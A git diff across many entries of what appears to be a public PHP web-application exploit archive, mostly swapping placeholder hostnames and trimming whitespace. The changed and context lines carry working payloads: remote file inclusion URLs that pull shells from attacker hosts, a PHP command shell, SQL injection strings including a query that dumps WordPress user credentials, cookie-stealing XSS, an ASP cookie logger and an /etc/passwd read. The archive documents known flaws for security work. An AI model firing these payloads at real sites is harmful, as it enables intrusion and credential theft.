-http://victimhost/achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://attackerhost/ls.txt? \ No newline at end of file +http://victimhost/achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://attackerhost/ls.txt? \ No newline at end of file diff --git a/platforms/php/webapps/2175.txt b/platforms/php/webapps/2175.txt index 7a31bfb70..ce7ca1f04 100755 --- a/platforms/php/webapps/2175.txt +++ b/platforms/php/webapps/2175.txt @@ -9,7 +9,7 @@ # usage: # perl WEBinsta.pl <target> <cmd shell location> <cmd shell variable> # -# perl WEBinsta.pl http://server/ http://server/cmd.txt cmd +# perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -74,8 +74,8 @@ sub usage() { head(); print " Usage: perl WEBinsta.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to WEBinsta CMS ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to WEBinsta CMS ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by K-159 \r\n"; diff --git a/platforms/php/webapps/21755.txt b/platforms/php/webapps/21755.txt index 75b0b313c..126485ebb 100755 --- a/platforms/php/webapps/21755.txt +++ b/platforms/php/webapps/21755.txt @@ -4,4 +4,4 @@ php(Reactor) does not sufficiently sanitize HTML from various fields (such as in An attacker may potentially exploit this situation to cause arbitrary HTML and script code to execute in the web client of a user of a vulnerable website. The attacker-supplied code will execute in the context of the vulnerable website. -<b style="expression(alert(document.cookie))"> \ No newline at end of file +<b style="expression(alert(document.cookie))"> \ No newline at end of file diff --git a/platforms/php/webapps/2177.txt b/platforms/php/webapps/2177.txt index 3bc5e04fe..90fa97849 100755 --- a/platforms/php/webapps/2177.txt +++ b/platforms/php/webapps/2177.txt @@ -31,7 +31,7 @@ Google dork: inurl:com_webring #################################################### Exploit: -http://www.server/[path]/administrator/components/com_webring/admin.webring.docs.php?component_dir=http://evil_scripts? +http://www.site.com/[path]/administrator/components/com_webring/admin.webring.docs.php?component_dir=http://evil_scripts? #################################################### diff --git a/platforms/php/webapps/21776.txt b/platforms/php/webapps/21776.txt index 4a00eb52d..039dbd10e 100755 --- a/platforms/php/webapps/21776.txt +++ b/platforms/php/webapps/21776.txt @@ -7,4 +7,4 @@ It has been reported that a vulnerability in the PHP header function exists. It http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F %6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64% 6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2 -1%2D%2D \ No newline at end of file +1%2D%2D \ No newline at end of file diff --git a/platforms/php/webapps/21778.txt b/platforms/php/webapps/21778.txt index 6567424e6..032fdb5ac 100755 --- a/platforms/php/webapps/21778.txt +++ b/platforms/php/webapps/21778.txt @@ -8,4 +8,4 @@ If magic_quotes_gpc is not enabled, then it will be possible for attackers to mo Use an existing administrator name (default is admin) and use the following password: -"' OR 'a'='a" \ No newline at end of file +"' OR 'a'='a" \ No newline at end of file diff --git a/platforms/php/webapps/21779.txt b/platforms/php/webapps/21779.txt index 83d286e7c..5bc17af13 100755 --- a/platforms/php/webapps/21779.txt +++ b/platforms/php/webapps/21779.txt @@ -5,4 +5,4 @@ WoltLab is prone to SQL injection attacks. This is due to insufficient sanitizat The logic of a SQL query made by the script may be modified, resulting in the potential for database corruption. It has been demonstrated that it is possible to exploit this condition to gain administrative privileges within the bulletin board system. board.php?boardid=[boardid]%27,%20userid=%27[victims userid, 1 is -usually an admin]&sid=[attackers session-id] \ No newline at end of file +usually an admin]&sid=[attackers session-id] \ No newline at end of file diff --git a/platforms/php/webapps/21783.txt b/platforms/php/webapps/21783.txt index 00bebe288..2a005e5fd 100755 --- a/platforms/php/webapps/21783.txt +++ b/platforms/php/webapps/21783.txt @@ -11,4 +11,4 @@ Content-Length: 123\n dbpassword=%22%3Bphpinfo%28%29%3B%24a%3D%22&toolbar=1 &messenger=1&smileys=1&title=1&db_session_handler=0 &all_in_one=0&test=\n -\n \ No newline at end of file +\n \ No newline at end of file diff --git a/platforms/php/webapps/21786.php b/platforms/php/webapps/21786.php index 63c54d65e..dd3c83222 100755 --- a/platforms/php/webapps/21786.php +++ b/platforms/php/webapps/21786.php @@ -36,7 +36,7 @@ $token_hex = hex($token); puts("BlogMod <= X SQL Injection Exploit"); puts("By WhiteCollarGroup"); -puts("[?] Enter website URL (e. g.: http://server/blogmod/):"); +puts("[?] Enter website URL (e. g.: http://www.target.com/blogmod/):"); $target = gets(); puts("[*] Checking..."); diff --git a/platforms/php/webapps/21787.rb b/platforms/php/webapps/21787.rb index 550651f1b..2a1b1b1e8 100755 --- a/platforms/php/webapps/21787.rb +++ b/platforms/php/webapps/21787.rb @@ -57,7 +57,7 @@ if (ARGV[0].nil? || ARGV[1].nil?) puts "usage (verbose): ruby -W0 #{__FILE__} address num_threads -v" puts "-----------------------------------------------------------" puts "Example 1: ruby -W0 #{__FILE__} 127.0.0.1 5" - puts "Example 2: ruby -W0 #{__FILE__} www.vulnserver.br 5 -v" + puts "Example 2: ruby -W0 #{__FILE__} www.vulnsite.com.br 5 -v" exit(0) end diff --git a/platforms/php/webapps/21811.txt b/platforms/php/webapps/21811.txt index f44ab016b..3d8073d47 100755 --- a/platforms/php/webapps/21811.txt +++ b/platforms/php/webapps/21811.txt @@ -23,4 +23,4 @@ SITE>.net/webmail/src/search.php?mailbox=INBOX&what=x&where=<script>alert('b oop!')</script>&submit=Search http://<VULNERABLE -SITE>.net/webmail/src/help.php?chapter=<script>alert('boop!')</script> \ No newline at end of file +SITE>.net/webmail/src/help.php?chapter=<script>alert('boop!')</script> \ No newline at end of file diff --git a/platforms/php/webapps/2182.txt b/platforms/php/webapps/2182.txt index e0dcd069d..26fbf69ce 100755 --- a/platforms/php/webapps/2182.txt +++ b/platforms/php/webapps/2182.txt @@ -30,7 +30,7 @@ Code: help.mmp.php?, line 12 ?> Exploit: -http://www.server/[path]/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=http://server/evilscript.txt? +http://www.site.com/[path]/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=http://site.com/evilscript.txt? #################################################### diff --git a/platforms/php/webapps/21859.txt b/platforms/php/webapps/21859.txt index d4a11ddc4..00f490d66 100755 --- a/platforms/php/webapps/21859.txt +++ b/platforms/php/webapps/21859.txt @@ -4,4 +4,4 @@ Problems with PHPNuke could make it possible to execute arbitrary script code in PHPNuke does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the PHPNuke software. -<IMG SRC="javascript:alert('unsecure')"> \ No newline at end of file +<IMG SRC="javascript:alert('unsecure')"> \ No newline at end of file diff --git a/platforms/php/webapps/21860.txt b/platforms/php/webapps/21860.txt index 596aa51a2..e357c863a 100755 --- a/platforms/php/webapps/21860.txt +++ b/platforms/php/webapps/21860.txt @@ -4,4 +4,4 @@ Problems with NPDS could make it possible to execute arbitrary script code in a NPDS does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the NPDS software. -<IMG SRC="javascript:alert('unsecure')"> \ No newline at end of file +<IMG SRC="javascript:alert('unsecure')"> \ No newline at end of file diff --git a/platforms/php/webapps/21861.txt b/platforms/php/webapps/21861.txt index 58c9ed9a5..45d4a10b5 100755 --- a/platforms/php/webapps/21861.txt +++ b/platforms/php/webapps/21861.txt @@ -4,4 +4,4 @@ Problems with DaCode could make it possible to execute arbitrary script code in DaCode does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the DaCode software. -<IMG SRC="javascript:alert('unsecure')"> \ No newline at end of file +<IMG SRC="javascript:alert('unsecure')"> \ No newline at end of file diff --git a/platforms/php/webapps/21862.txt b/platforms/php/webapps/21862.txt index f23101af8..165236f8d 100755 --- a/platforms/php/webapps/21862.txt +++ b/platforms/php/webapps/21862.txt @@ -8,5 +8,5 @@ This issue could result in a denial of service attack or the corruption of datab This issue was reported in PHPNuke version 6.0. Other versions may also be affected. -http://www.nukeserver/modules.php?name=News&file=article&sid=1234%20or% -201=1 \ No newline at end of file +http://www.nukesite.com/modules.php?name=News&file=article&sid=1234%20or% +201=1 \ No newline at end of file diff --git a/platforms/php/webapps/21863.txt b/platforms/php/webapps/21863.txt index 93db4983a..8da0f7b14 100755 --- a/platforms/php/webapps/21863.txt +++ b/platforms/php/webapps/21863.txt @@ -4,4 +4,4 @@ Problems with Drupal could allow an attacker to execute arbitrary script code in Drupal fails to sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in their browser. This will occur in the context of the site running the Drupal software. -<IMG SRC="javascript:alert('unsecure')"> \ No newline at end of file +<IMG SRC="javascript:alert('unsecure')"> \ No newline at end of file diff --git a/platforms/php/webapps/21864.txt b/platforms/php/webapps/21864.txt index fece63288..29f83baef 100755 --- a/platforms/php/webapps/21864.txt +++ b/platforms/php/webapps/21864.txt @@ -4,4 +4,4 @@ Problems with phpWebSite could make it possible to execute arbitrary script code phpWebSite does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the phpWebSite software. -<IMG SRC="javascript:alert('unsecure')"> \ No newline at end of file +<IMG SRC="javascript:alert('unsecure')"> \ No newline at end of file diff --git a/platforms/php/webapps/2187.htm b/platforms/php/webapps/2187.htm index 8bba77411..d94e7bca7 100755 --- a/platforms/php/webapps/2187.htm +++ b/platforms/php/webapps/2187.htm @@ -45,7 +45,7 @@ function milw0rm() { <td><em> <input type="hidden" name="absolute_path" value="http://rst.void.ru/download/r57shell.txt?&" /> </em><strong>*</strong><em>target</em> - <input name="target" type="text" value="http://www.server/maillist/inc/initdb.php" size="50" maxlength="150" /> + <input name="target" type="text" value="http://www.site.com/maillist/inc/initdb.php" size="50" maxlength="150" /> <strong> *</strong><em>cmd</em> <input name="cmd" type="text" value="ls -la"> diff --git a/platforms/php/webapps/2188.txt b/platforms/php/webapps/2188.txt index 97e9d8119..81f4d50a9 100755 --- a/platforms/php/webapps/2188.txt +++ b/platforms/php/webapps/2188.txt @@ -17,9 +17,9 @@ | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|Exploit|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | -| http://[Target]/[Path]/content/content.php?fileloc=http://www.evalserver/shell.php? +| http://[Target]/[Path]/content/content.php?fileloc=http://www.evalsite.com/shell.php? | -| http://[Target]/[Path]/inc/indexhead.php?fileloc= http://www.evalserver/shell.php? +| http://[Target]/[Path]/inc/indexhead.php?fileloc= http://www.evalsite.com/shell.php? | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | diff --git a/platforms/php/webapps/21886.txt b/platforms/php/webapps/21886.txt index 90eb41a3d..bd7555f63 100755 --- a/platforms/php/webapps/21886.txt +++ b/platforms/php/webapps/21886.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for Py-Membres 3.1 that allows remote attacker Reportedly, Py-Membres does not fully check some URI parameters. Thus it is possible for an attacker to manipulate URI parameters and log into the system as an arbitrary user without the need for passwords. -http://[target]/index.php?pymembs=admin \ No newline at end of file +http://[target]/index.php?pymembs=admin \ No newline at end of file diff --git a/platforms/php/webapps/2190.txt b/platforms/php/webapps/2190.txt index 8fec680d8..51acba4b9 100755 --- a/platforms/php/webapps/2190.txt +++ b/platforms/php/webapps/2190.txt @@ -31,9 +31,9 @@ */ #Expl: -http://www.server/[PHProjekt_path]/lib/dbman_filter.inc.php?lib_path=[evil_scripts] +http://www.site.com/[PHProjekt_path]/lib/dbman_filter.inc.php?lib_path=[evil_scripts] -http://www.server/[PHProjekt_path]/lib/specialdays.php?path_pre=[evil_scripts] +http://www.site.com/[PHProjekt_path]/lib/specialdays.php?path_pre=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/2191.txt b/platforms/php/webapps/2191.txt index 6f7244bec..eaf6265b9 100755 --- a/platforms/php/webapps/2191.txt +++ b/platforms/php/webapps/2191.txt @@ -33,7 +33,7 @@ */ #Expl: -http://www.server/[dotProject_path]/classes/query.class.php?baseDir=[evil_scripts] +http://www.site.com/[dotProject_path]/classes/query.class.php?baseDir=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/21912.txt b/platforms/php/webapps/21912.txt index c1956f91e..30ba0bc84 100755 --- a/platforms/php/webapps/21912.txt +++ b/platforms/php/webapps/21912.txt @@ -9,4 +9,4 @@ http://[target]/vars.inc and -http://[target]/protection.php?mode=display&username=[LOGIN]&password=[PASSWORD] \ No newline at end of file +http://[target]/protection.php?mode=display&username=[LOGIN]&password=[PASSWORD] \ No newline at end of file diff --git a/platforms/php/webapps/2192.txt b/platforms/php/webapps/2192.txt index a7c64f92c..361b50a1f 100755 --- a/platforms/php/webapps/2192.txt +++ b/platforms/php/webapps/2192.txt @@ -36,7 +36,7 @@ Vulnerabilities */ #Expl: -http://www.server/[opt_path]/include/urights.php?CRM_inc=[evil_scripts.txt] +http://www.site.com/[opt_path]/include/urights.php?CRM_inc=[evil_scripts.txt] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/21930.txt b/platforms/php/webapps/21930.txt index 92cc77bdb..8fdc06623 100755 --- a/platforms/php/webapps/21930.txt +++ b/platforms/php/webapps/21930.txt @@ -8,4 +8,4 @@ This may allow for theft of cookie-based authentication credentials from legitim This issue has been reported in php(Reactor) version 1.2.7pl1. Other versions may also be affected. -http://www.example.com/forums/browse.php?fid=3&tid=46&go=<script>JavaScript:alert('test');</script> \ No newline at end of file +http://www.example.com/forums/browse.php?fid=3&tid=46&go=<script>JavaScript:alert('test');</script> \ No newline at end of file diff --git a/platforms/php/webapps/21931.txt b/platforms/php/webapps/21931.txt index 917842d25..64a9e7d6e 100755 --- a/platforms/php/webapps/21931.txt +++ b/platforms/php/webapps/21931.txt @@ -4,4 +4,4 @@ phpBBmod ships with a sample script (phpinfo.php) that may disclosure sensitive This issue was reported in phpBBmod version 1.3.3. Other versions may also be affected. -http://www.example.com/phpBB/phpinfo.php \ No newline at end of file +http://www.example.com/phpBB/phpinfo.php \ No newline at end of file diff --git a/platforms/php/webapps/21933.txt b/platforms/php/webapps/21933.txt index db335c64e..a4be8b8cd 100755 --- a/platforms/php/webapps/21933.txt +++ b/platforms/php/webapps/21933.txt @@ -4,4 +4,4 @@ phpRank is a freely available web site link sharing script. It is available for It has been reported that phpRank is vulnerable to cross-site scripting attacks. Under some circumstances, it is possible to force the rendering of arbitrary HTML and script code through the add.php portion of the phpRank package. This could allow the execution of potentially malicious script and HTML in the security context of a vulnerable site. -http://example.com/phprank/add.php?page=add&spass=1&name=2&siteurl=3&email=%3Cscript%3Ealert(42)%3C/script%3E \ No newline at end of file +http://example.com/phprank/add.php?page=add&spass=1&name=2&siteurl=3&email=%3Cscript%3Ealert(42)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/21950.txt b/platforms/php/webapps/21950.txt index dfcb7db86..17c97c8bf 100755 --- a/platforms/php/webapps/21950.txt +++ b/platforms/php/webapps/21950.txt @@ -10,4 +10,4 @@ http://example.com/forums/index.php?board=;action=login2&user=USERNAME&cookielen An ASP script was also provided which will receive stolen cookie-based authentication credentials. -------------------------------- hack.asp ------------------------------------ <% Option Explicit Const ForWriting = 2 Const ForAppending = 8 Const Create = True Dim MyFile Dim FSO ' FileSystemObject Dim TSO ' TextStreamObject Dim Str Str = Request.ServerVariables("QUERY_STRING") MyFile = Server.MapPath("./db/log.txt") Set FSO = Server.CreateObject("Scripting.FileSystemObject") Set TSO = FSO.OpenTextFile(MyFile, ForAppending, Create) if (Str <> "") then TSO.WriteLine Str TSO.close Set TSO = Nothing Set FSO = Nothing %> You have just been hacked. ----------------------------------- EOF ----------------------------------- \ No newline at end of file +------------------------------- hack.asp ------------------------------------ <% Option Explicit Const ForWriting = 2 Const ForAppending = 8 Const Create = True Dim MyFile Dim FSO ' FileSystemObject Dim TSO ' TextStreamObject Dim Str Str = Request.ServerVariables("QUERY_STRING") MyFile = Server.MapPath("./db/log.txt") Set FSO = Server.CreateObject("Scripting.FileSystemObject") Set TSO = FSO.OpenTextFile(MyFile, ForAppending, Create) if (Str <> "") then TSO.WriteLine Str TSO.close Set TSO = Nothing Set FSO = Nothing %> You have just been hacked. ----------------------------------- EOF ----------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/21956.txt b/platforms/php/webapps/21956.txt index 309d6db30..8348259ad 100755 --- a/platforms/php/webapps/21956.txt +++ b/platforms/php/webapps/21956.txt @@ -4,4 +4,4 @@ kmMail does not sufficiently sanitize HTML and script code from the body of e-ma This may allow an attacker to steal cookie-based authentication credentials from users of the webmail system. Other attacks are also possible. -<b onMouseOver="alert(document.location)">bolder</b> \ No newline at end of file +<b onMouseOver="alert(document.location)">bolder</b> \ No newline at end of file diff --git a/platforms/php/webapps/21960.txt b/platforms/php/webapps/21960.txt index 413c30053..5deab4808 100755 --- a/platforms/php/webapps/21960.txt +++ b/platforms/php/webapps/21960.txt @@ -6,4 +6,4 @@ It has been reported that it is possible for an unauthorized attacker to gain ad Exploiting this issue could allow unauthorized attackers to execute arbitrary administrative actions against the target guestbook, such as corrupt valid user supplied entries. -http://[Target]/gb/index.php?login=true \ No newline at end of file +http://[Target]/gb/index.php?login=true \ No newline at end of file diff --git a/platforms/php/webapps/21961.txt b/platforms/php/webapps/21961.txt index 1462c84de..6a630b8ba 100755 --- a/platforms/php/webapps/21961.txt +++ b/platforms/php/webapps/21961.txt @@ -6,4 +6,4 @@ HTML tags and script code are not sanitized from CGI variables which may cause u When this link is visited, the attacker-supplied code will execute in the user's web client in the security context of the site hosting the software. -http://www.example.com/templates/form_header.php?noticemsg=<Script>javascript:alert(document.cookie)</Script> \ No newline at end of file +http://www.example.com/templates/form_header.php?noticemsg=<Script>javascript:alert(document.cookie)</Script> \ No newline at end of file diff --git a/platforms/php/webapps/21970.txt b/platforms/php/webapps/21970.txt index 88c925ee0..0a564eac8 100755 --- a/platforms/php/webapps/21970.txt +++ b/platforms/php/webapps/21970.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6057/info Dobermann Forum is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Dobermann. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'subpath' parameter. -http://[target]/newtopic.php?subpath=http://[attacker]/banniere.php \ No newline at end of file +http://[target]/newtopic.php?subpath=http://[attacker]/banniere.php \ No newline at end of file diff --git a/platforms/php/webapps/21976.txt b/platforms/php/webapps/21976.txt index 3c011d13b..3b0c6d61e 100755 --- a/platforms/php/webapps/21976.txt +++ b/platforms/php/webapps/21976.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/6087/info Prometheus is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Prometheus. An attacker may exploit this by supplying a path to a malicious 'autoload.lib' file on a remote host as a value for the 'PROMETHEUS_LIBRARY_BASE' parameter. http://target.server/prometheus-all/index.php?PROMETHEUS_LIBRARY_BASE= -http://attackers.server/&PHP_AUTO_LOAD_LIB=0 \ No newline at end of file +http://attackers.server/&PHP_AUTO_LOAD_LIB=0 \ No newline at end of file diff --git a/platforms/php/webapps/21977.txt b/platforms/php/webapps/21977.txt index 58c730c79..d46e1805f 100755 --- a/platforms/php/webapps/21977.txt +++ b/platforms/php/webapps/21977.txt @@ -7,4 +7,4 @@ The vulnerability is due to insufficient sanitization of variables used to const By injecting SQL code into variables, it may be possible for an attacker to corrupt database information. modules.php?name=Your_Account&op=saveuser&uid=2&bio=%5c&EditedMessage= -no&pass=xxxxx&vpass=xxxxx&newsletter=,+bio=0,+pass=md5(1)/* \ No newline at end of file +no&pass=xxxxx&vpass=xxxxx&newsletter=,+bio=0,+pass=md5(1)/* \ No newline at end of file diff --git a/platforms/php/webapps/2199.txt b/platforms/php/webapps/2199.txt index 88e484d81..70a3d1c15 100755 --- a/platforms/php/webapps/2199.txt +++ b/platforms/php/webapps/2199.txt @@ -67,6 +67,6 @@ $session=updateSession($dblink,$session); // Should the user have access to t */ #Exploit: -http://www.server/[IRSR_path]/system/includes/pageheaderdefault.inc.php?_sysSessionPath=[http://www.myevilserver/evil_scripts.txt] +http://www.site.com/[IRSR_path]/system/includes/pageheaderdefault.inc.php?_sysSessionPath=[http://www.myevilsite.com/evil_scripts.txt] # milw0rm.com [2006-08-17] diff --git a/platforms/php/webapps/22009.txt b/platforms/php/webapps/22009.txt index c7370731f..a29d760e3 100755 --- a/platforms/php/webapps/22009.txt +++ b/platforms/php/webapps/22009.txt @@ -4,4 +4,4 @@ An information disclosure vulnerability has been reported for httpbench. Reporte Information obtained in this manner may be used to launch further, destructive attacks against a vulnerable system. -http://www.web_sitesi/ezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1 \ No newline at end of file +http://www.web_sitesi/ezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1 \ No newline at end of file diff --git a/platforms/php/webapps/22017.txt b/platforms/php/webapps/22017.txt index 66b0994d6..3d2d4b279 100755 --- a/platforms/php/webapps/22017.txt +++ b/platforms/php/webapps/22017.txt @@ -16,4 +16,4 @@ exit; Then submit the following request to the host running the vulnerable software: -http://www.example.com/quick_reply.php?phpbb_root_path=http://attackersite.tld/&mode=smilies \ No newline at end of file +http://www.example.com/quick_reply.php?phpbb_root_path=http://attackersite.tld/&mode=smilies \ No newline at end of file diff --git a/platforms/php/webapps/2202.txt b/platforms/php/webapps/2202.txt index b8ef16ed0..5cf54899c 100755 --- a/platforms/php/webapps/2202.txt +++ b/platforms/php/webapps/2202.txt @@ -30,7 +30,7 @@ Code: mambelfish.class.php?, line 28 Exploit: -http://www.server/[path]/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=http://server/evilscript.txt? +http://www.site.com/[path]/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=http://site.com/evilscript.txt? #################################################### Greetz: Cyber-warrior TIM USERS diff --git a/platforms/php/webapps/2203.txt b/platforms/php/webapps/2203.txt index 66ad4b920..dcc8612a5 100755 --- a/platforms/php/webapps/2203.txt +++ b/platforms/php/webapps/2203.txt @@ -27,7 +27,7 @@ require_once($mosConfig_absolute_path."/components/com_jim/readme.txt"); ############################################################ #Exploit: -http://www.server/[path]/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=http://evil_script? +http://www.site.com/[path]/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=http://evil_script? ############################################################ diff --git a/platforms/php/webapps/22047.txt b/platforms/php/webapps/22047.txt index ae495b22f..db9ceb04c 100755 --- a/platforms/php/webapps/22047.txt +++ b/platforms/php/webapps/22047.txt @@ -7,4 +7,4 @@ Programming errors in FreeNews could lead to the inclusion of arbitrary files on http://example.com/aff_news.php?chemin=http://example.org/include with http://example.org/config.php http://example.org/options.inc.php -http://example.org/freenews_functions.inc.php \ No newline at end of file +http://example.org/freenews_functions.inc.php \ No newline at end of file diff --git a/platforms/php/webapps/22071.txt b/platforms/php/webapps/22071.txt index 07cca18ad..1d471b368 100755 --- a/platforms/php/webapps/22071.txt +++ b/platforms/php/webapps/22071.txt @@ -6,8 +6,8 @@ # Version: 2.06.01 # Tested on: Windows 7 ############################################################### -* Location: http://server//wp-content/plugins/fs-real-estate-plugin/xml/marker_listings.xml?id=[SQL] -* Exploit Code: http://server//wp-content/plugins/fs-real-estate-plugin/xml/marker_listings.xml?id=1%20union%20all%20select%201,2,3,4,5,6,7,8,group_concat(user_login,char(58),user_pass,char(58),user_email),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from wp_users-- +* Location: http://site.com//wp-content/plugins/fs-real-estate-plugin/xml/marker_listings.xml?id=[SQL] +* Exploit Code: http://site.com//wp-content/plugins/fs-real-estate-plugin/xml/marker_listings.xml?id=1%20union%20all%20select%201,2,3,4,5,6,7,8,group_concat(user_login,char(58),user_pass,char(58),user_email),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from wp_users-- *************************************************************** * Greetz to: My Lord Allah * Sp Tnx To: Behrooz_Ice,Q7X,Ali_Eagle,Azazel,iman_taktaz,sha2ow,0x21HATE,A.S.P.I.R.I.N,am118,Angel--D3m0n,angola,AR455,Azad™,Black-Hole,Classic,Encoder,ERroR,Hashor diff --git a/platforms/php/webapps/2209.txt b/platforms/php/webapps/2209.txt index 24530d711..d6b0ee275 100755 --- a/platforms/php/webapps/2209.txt +++ b/platforms/php/webapps/2209.txt @@ -1,4 +1,4 @@ -.:[ insecurity research team ]:. + .:[ insecurity research team ]:. .__..____.:.______.____.:.____ . .:. | |/ \:/ ___// __ \:/ _\.:. : | | | \\____\\ ___/\ /__ :. . diff --git a/platforms/php/webapps/22097.txt b/platforms/php/webapps/22097.txt index 509ed417b..ecde1ac13 100755 --- a/platforms/php/webapps/22097.txt +++ b/platforms/php/webapps/22097.txt @@ -1,4 +1,4 @@ -Exploit Title: Joomla Freestyle Support com_fss sqli + Exploit Title: Joomla Freestyle Support com_fss sqli Dork: N/A @@ -39,3 +39,4 @@ Exploit: _____________________________________________________ Daniel Barragan "D4NB4R" 2012 + \ No newline at end of file diff --git a/platforms/php/webapps/22098.txt b/platforms/php/webapps/22098.txt index 1a7a6f02b..5e6db67ab 100755 --- a/platforms/php/webapps/22098.txt +++ b/platforms/php/webapps/22098.txt @@ -1,4 +1,4 @@ -Exploit Title: Joomla tag Remote Sql Exploit + Exploit Title: Joomla tag Remote Sql Exploit dork: inurl:index.php?option=com_tag @@ -41,7 +41,7 @@ print "\t Joomla com_tag Remote Sql Exploit \n"; print "\t\n\n"; use LWP::UserAgent; -print "\nIngrese el Sitio:[http://wwww.server/path/]: "; +print "\nIngrese el Sitio:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); diff --git a/platforms/php/webapps/22102.txt b/platforms/php/webapps/22102.txt index e236998b4..ebc84f0ec 100755 --- a/platforms/php/webapps/22102.txt +++ b/platforms/php/webapps/22102.txt @@ -6,4 +6,4 @@ Exploiting this issue will cause the target server to disclose sensitive informa http://[target]/modules/Downloads/voteinclude.php http://[target]/modules/Your_Account/navbar.php -http://[target]/modules/Forums/attachment.php \ No newline at end of file +http://[target]/modules/Forums/attachment.php \ No newline at end of file diff --git a/platforms/php/webapps/22108.txt b/platforms/php/webapps/22108.txt index 22a7911c2..9207d0ee8 100755 --- a/platforms/php/webapps/22108.txt +++ b/platforms/php/webapps/22108.txt @@ -4,4 +4,4 @@ Several vulnerabilities have been discovered in SPGPartenaires. The vulnerabilit By injecting SQL code into the 'pass' or 'SPGP' variable, it may be possible for an attacker to corrupt member information. It may also be possible for attackers to perform more advanced attacks on the underlying database. -http://www.example.com/modif/delete.php?SPGP=[ID]%7C%7C'%20OR%20''=' \ No newline at end of file +http://www.example.com/modif/delete.php?SPGP=[ID]%7C%7C'%20OR%20''=' \ No newline at end of file diff --git a/platforms/php/webapps/22109.txt b/platforms/php/webapps/22109.txt index bdb6720fd..451740243 100755 --- a/platforms/php/webapps/22109.txt +++ b/platforms/php/webapps/22109.txt @@ -6,4 +6,4 @@ A problem with W-Agora may make cross-site scripting attacks possible. It has been reported that W-Agora has a vulnerability in the handling of script code. It is possible to format a malicious link containing arbitrary script code or HTML that when clicked on would execute in the security context of the vulnerable site. This would result in a browser security violation, and could lead to the theft of authentication cookies of administrators. -<URL:/editform.php?site=agora&blah=">Bug!> \ No newline at end of file +<URL:/editform.php?site=agora&blah=">Bug!> \ No newline at end of file diff --git a/platforms/php/webapps/2211.txt b/platforms/php/webapps/2211.txt index f089d9248..c8f2efd68 100755 --- a/platforms/php/webapps/2211.txt +++ b/platforms/php/webapps/2211.txt @@ -85,6 +85,6 @@ if (isset($_REQUEST['workfolder']) && isset($_SESSION['workfolder']) */ #Exploit: -http://www.server/[phlymail_path]/handlers/email/mod.listmail.php?_PM_[path][handler]=[http://www.myevilserver/evil_scripts.txt] +http://www.site.com/[phlymail_path]/handlers/email/mod.listmail.php?_PM_[path][handler]=[http://www.myevilsite.com/evil_scripts.txt] # milw0rm.com [2006-08-18] diff --git a/platforms/php/webapps/22114.txt b/platforms/php/webapps/22114.txt index 75b5c8a7e..e36523456 100755 --- a/platforms/php/webapps/22114.txt +++ b/platforms/php/webapps/22114.txt @@ -8,4 +8,4 @@ If the remote file is a PHP script, this may allow for execution of attacker-sup http://[target]/modeles/haut.php?dirroot=http://[attacker]&SESSION=. with : -http://[attacker]/lang/lang.php \ No newline at end of file +http://[attacker]/lang/lang.php \ No newline at end of file diff --git a/platforms/php/webapps/22116.txt b/platforms/php/webapps/22116.txt index 121ee76a9..66e0cd97a 100755 --- a/platforms/php/webapps/22116.txt +++ b/platforms/php/webapps/22116.txt @@ -12,4 +12,4 @@ http://[attacker]/common/dbo/saveset.php http://[attacker]/common/dbo/recordset.php 